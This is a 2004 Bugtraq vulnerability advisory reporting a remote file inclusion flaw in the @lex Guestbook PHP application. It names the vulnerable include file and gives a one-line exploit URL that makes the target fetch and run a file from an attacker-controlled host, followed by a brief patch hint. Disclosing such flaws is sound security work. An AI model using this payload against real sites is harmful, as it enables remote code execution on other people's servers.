[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: @lex Guestbook (PHP) Include file
From: Himeur Nourredine <lostnoobs () security-challenge ! com>
Date: 2004-09-26 14:36:56
Message-ID: 20040926143656.16859.qmail () www ! securityfocus ! com
[Download RAW message or body]
Informations :
°°°°°°°°°°°°°°
Website : http://www.alexphpteam.com
Version : all
Problem : Include file
PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
./include/livre_include.php
------------------------------------------------------------------
if (!$no_connect).... some include() functions
------------------------------------------------------------------
Exploit :
°°°°°°°°°
http://[target]/include/livre_include.php?no_connect=lol&chem_absolu=http://[attacker]/file.ext%3f
Patch :
°°°°°°°
You must to fix the variable $chem_absolu.
Nourredine Himeur aka LostNoobs
"I'm looking for a job in France"
you can see my curriculum vitae
on www.security-challenge.com/delires/
#s-c on irc.fr.worldnet.net
www.security-challenge.com
www.hacklink.net
www.opensavoir.com
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic